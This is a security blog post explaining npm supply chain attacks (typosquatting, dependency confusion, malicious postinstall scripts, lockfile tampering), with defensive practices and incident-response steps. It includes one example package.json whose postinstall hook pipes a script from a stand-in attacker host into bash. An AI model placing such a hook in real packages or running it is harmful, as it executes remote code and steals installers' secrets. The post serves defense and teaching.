EncryptCodecencryptcodec
Blog/Security
SecurityMarch 29, 2026 · 8 min read

Supply Chain Attacks: How One Malicious npm Package Can Compromise Your Entire App

In 2021, the ua-parser-js package — downloaded 8 million times per week — was hijacked to install cryptominers and password stealers. Your node_modules folder is an attack surface.

How Supply Chain Attacks Work

A supply chain attack targets the code you did not write — your dependencies. Instead of attacking your application directly, an attacker poisons a package you trust and lets npm install do the rest.

There are four primary vectors.

1. Typosquatting

An attacker publishes a package with a name that looks like a popular one:

# The real package
npm install lodash
 
# The malicious typosquat
npm install lodahs    # swapped letters
npm install lodash-utils  # plausible name

The malicious package contains the same API surface as the real one — plus a payload that exfiltrates environment variables, SSH keys, or AWS credentials on install.

Defense: Always double-check package names before installing. Use npm info <package> to verify publisher and download counts.

2. Dependency Confusion

If your company uses a private npm registry with internal package names like @company/auth-utils, an attacker can publish a package with the same name on the public npm registry with a higher version number.

# Your private registry has @company/auth-utils@1.2.0
# Attacker publishes @company/auth-utils@99.0.0 on public npm
# npm may resolve the public (higher) version

Defense: Scope all private packages and configure .npmrc to route scoped packages to your private registry:

# .npmrc
@company:registry=https://npm.internal.company.com

3. Malicious postinstall Scripts

The postinstall hook runs arbitrary code immediately after npm install. Attackers use this to execute payloads before you ever import the package:

{
  "name": "totally-legit-package",
  "scripts": {
    "postinstall": "curl https://evil.com/steal.sh | bash"
  }
}

This runs with your user's permissions. It can read .env files, exfiltrate secrets, install backdoors, or modify other packages in node_modules.

Defense: Use --ignore-scripts for untrusted packages, or adopt tools like Socket that flag packages with install scripts.

npm install --ignore-scripts suspicious-package

4. Lockfile Manipulation

Your package-lock.json pins exact versions and integrity hashes. If an attacker submits a PR that modifies the lockfile to point to a different (malicious) version, most reviewers will not notice — lockfile diffs are noisy and rarely reviewed.

Defense: Always review lockfile changes in PRs. Use npm ci in CI/CD instead of npm install — it fails if the lockfile is out of sync with package.json.

# In your CI pipeline — always use ci, not install
npm ci

Practical Defenses

Run npm audit regularly

npm audit
npm audit --production  # skip devDependencies

Integrate this into your CI pipeline so builds fail on known vulnerabilities.

Pin exact versions

{
  "dependencies": {
    "express": "4.18.2"
  }
}

Avoid ^ and ~ ranges in production. Use Dependabot or Renovate to manage controlled upgrades.

Use a lockfile — and commit it

Never .gitignore your package-lock.json. It ensures everyone on your team and your CI pipeline use the exact same dependency tree.

Minimize your dependency tree

Every package you install is a trust decision. Before adding a dependency, ask:

  • Does it have many downloads and active maintenance?
  • Can I write this in 20 lines instead?
  • How many transitive dependencies does it pull in?
# Check what you are actually pulling in
npm ls --all | wc -l

Enable npm provenance

npm now supports package provenance — cryptographic proof that a package was built from a specific source commit in CI:

npm publish --provenance

When installing, look for the provenance badge on npmjs.com.

What to Do If You Are Compromised

  1. Identify the malicious package — check npm audit, review recent additions to package.json
  2. Remove it immediatelynpm uninstall <package>, delete node_modules, run npm ci
  3. Rotate all secrets — any environment variable, API key, or credential on the affected machine is potentially compromised
  4. Check for persistence — look for modified files outside node_modules, unexpected cron jobs, or new SSH keys
  5. Notify your team — if this hit CI/CD, your production secrets may be exposed

Conclusion

Your application is only as secure as your weakest dependency. Typosquatting, dependency confusion, and malicious install scripts are not theoretical — they happen regularly. Pin your versions, commit your lockfile, audit continuously, and treat every npm install as a trust decision.

Share this post

Try the Supply Chain Attack Simulation

Related posts